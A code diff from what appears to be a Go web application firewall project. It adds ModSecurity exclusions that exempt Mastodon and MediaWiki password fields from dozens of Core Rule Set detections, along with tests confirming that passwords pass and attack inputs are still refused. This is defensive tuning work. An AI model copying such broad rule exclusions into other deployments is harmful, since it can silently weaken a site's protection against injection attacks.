ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
|
||||||
|
|
||||||
|
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
||||||
|
"id:900966,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
||||||
|
|
||||||
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
||||||
# report forwarded to another server lists that server in forward_to_domains.
|
# report forwarded to another server lists that server in forward_to_domains.
|
||||||
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
@@ -129,10 +130,6 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
|
||||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||||
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||||
@@ -145,6 +142,18 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
||||||
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
||||||
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
||||||
|
{http.MethodPost, mastodonSignUp, "reason="},
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonPasswordForms sends each password field in a form data body, on
|
||||||
|
// a path where it skips the four rules and the rules that random passwords
|
||||||
|
// set off.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mastodonPasswordForms = []mastodonBodyField{
|
||||||
|
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/settings/migration/redirect",
|
http.MethodPost, "/settings/migration/redirect",
|
||||||
@@ -152,7 +161,14 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
},
|
},
|
||||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||||
{http.MethodPost, mastodonSignUp, passwordField},
|
{http.MethodPost, mastodonSignUp, passwordField},
|
||||||
{http.MethodPost, mastodonSignUp, "reason="},
|
}
|
||||||
|
|
||||||
|
// mastodonPasswordJSON sends the password of signing up through the API in
|
||||||
|
// a JSON body, with %s for its value.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||||
|
var mastodonPasswordJSON = mastodonBodyField{
|
||||||
|
http.MethodPost, mastodonSignUp, `{"password":%s}`,
|
||||||
}
|
}
|
||||||
|
|
||||||
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||||
@@ -178,7 +194,6 @@ var mastodonJSONFields = []mastodonBodyField{
|
|||||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||||
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
|
|
||||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||||
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||||
@@ -287,6 +302,35 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestMastodonPasswordsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, sent := range mastodonPasswordForms {
|
||||||
|
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{sent.method, sent.target, []string{formData}}
|
||||||
|
name := strings.TrimSuffix(sent.field, "=")
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, name)
|
||||||
|
|
||||||
|
// No rule these fields keep catches the SQL injection or the path
|
||||||
|
// traversal.
|
||||||
|
wantPasswordAttacksRefused(t, r, name, scriptTag)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Run("JSON", func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
||||||
|
[]string{jsonBody}}
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, "password")
|
||||||
|
wantPasswordAttacksRefused(t, r, "password", scriptTag)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -299,7 +343,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range mastodonFormFields {
|
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
|
||||||
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
@@ -310,7 +354,8 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
|||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range mastodonJSONFields {
|
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
|
||||||
|
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
|
||||||
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
@@ -330,6 +375,12 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s refused: %d", sent, score)
|
t.Errorf("%s refused: %d", sent, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
for _, sent := range mastodonPasswordForms {
|
||||||
|
if mastodonForm(t, sent, value) >= mastodonThreshold {
|
||||||
|
t.Errorf("%v with %s refused", sent, value)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
code := url.QueryEscape(mastodonCodePost)
|
code := url.QueryEscape(mastodonCodePost)
|
||||||
|
|||||||
@@ -108,6 +108,86 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
||||||
|
|
||||||
|
# wpPassword, lgpassword and password skip each rule random passwords set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
|
"id:900917,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
|
SecRule &ARGS_GET:wpPassword "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
|
||||||
|
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
||||||
|
"id:900918,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
|
||||||
|
|
||||||
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
||||||
# or prependtext, and the REST API in the JSON field source. Each of these
|
# or prependtext, and the REST API in the JSON field source. Each of these
|
||||||
# rules refused saving or previewing a page whose wikitext held a template, a
|
# rules refused saving or previewing a page whose wikitext held a template, a
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package coreruleset_test
|
|||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -49,8 +50,8 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||||
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||||
// path where it skips them, ending in "=".
|
// path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
@@ -136,8 +137,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|||||||
type mediawikiBodyField struct{ target, field string }
|
type mediawikiBodyField struct{ target, field string }
|
||||||
|
|
||||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||||
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||||
// a path where it skips them.
|
// a path where it skips them.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
@@ -146,13 +147,11 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiUpload, "wpUploadDescription="},
|
{mediawikiUpload, "wpUploadDescription="},
|
||||||
{mediawikiUpload, "wpDestFile="},
|
{mediawikiUpload, "wpDestFile="},
|
||||||
{mediawikiSignIn, "wpName="},
|
{mediawikiSignIn, "wpName="},
|
||||||
{mediawikiSignIn, "wpPassword="},
|
|
||||||
{mediawikiMove, "wpOldTitle="},
|
{mediawikiMove, "wpOldTitle="},
|
||||||
{mediawikiMove, "wpNewTitleMain="},
|
{mediawikiMove, "wpNewTitleMain="},
|
||||||
{mediawikiMove, "wpReason="},
|
{mediawikiMove, "wpReason="},
|
||||||
{mediawikiBlock, "wpTarget="},
|
{mediawikiBlock, "wpTarget="},
|
||||||
{mediawikiSignInPage, "wpName="},
|
{mediawikiSignInPage, "wpName="},
|
||||||
{"/w" + mediawikiSignInPage, "wpPassword="},
|
|
||||||
{mediawikiUploadPage, "wpDestFile="},
|
{mediawikiUploadPage, "wpDestFile="},
|
||||||
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
||||||
{mediawikiAPI, "title="},
|
{mediawikiAPI, "title="},
|
||||||
@@ -165,8 +164,17 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiAPI, "reason="},
|
{mediawikiAPI, "reason="},
|
||||||
{mediawikiAPI, "user="},
|
{mediawikiAPI, "user="},
|
||||||
{mediawikiAPI, "lgname="},
|
{mediawikiAPI, "lgname="},
|
||||||
{mediawikiAPI, "lgpassword="},
|
|
||||||
{mediawikiAPI, "username="},
|
{mediawikiAPI, "username="},
|
||||||
|
}
|
||||||
|
|
||||||
|
// mediawikiPasswordFields are the passwords, which skip the four rules and the
|
||||||
|
// rules that random passwords set off. mediawikiPasswordFields sends each in a
|
||||||
|
// form data body, on a path where it skips them.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mediawikiPasswordFields = []mediawikiBodyField{
|
||||||
|
{mediawikiSignIn, "wpPassword="},
|
||||||
|
{mediawikiAPI, "lgpassword="},
|
||||||
{mediawikiAPI, passwordField},
|
{mediawikiAPI, passwordField},
|
||||||
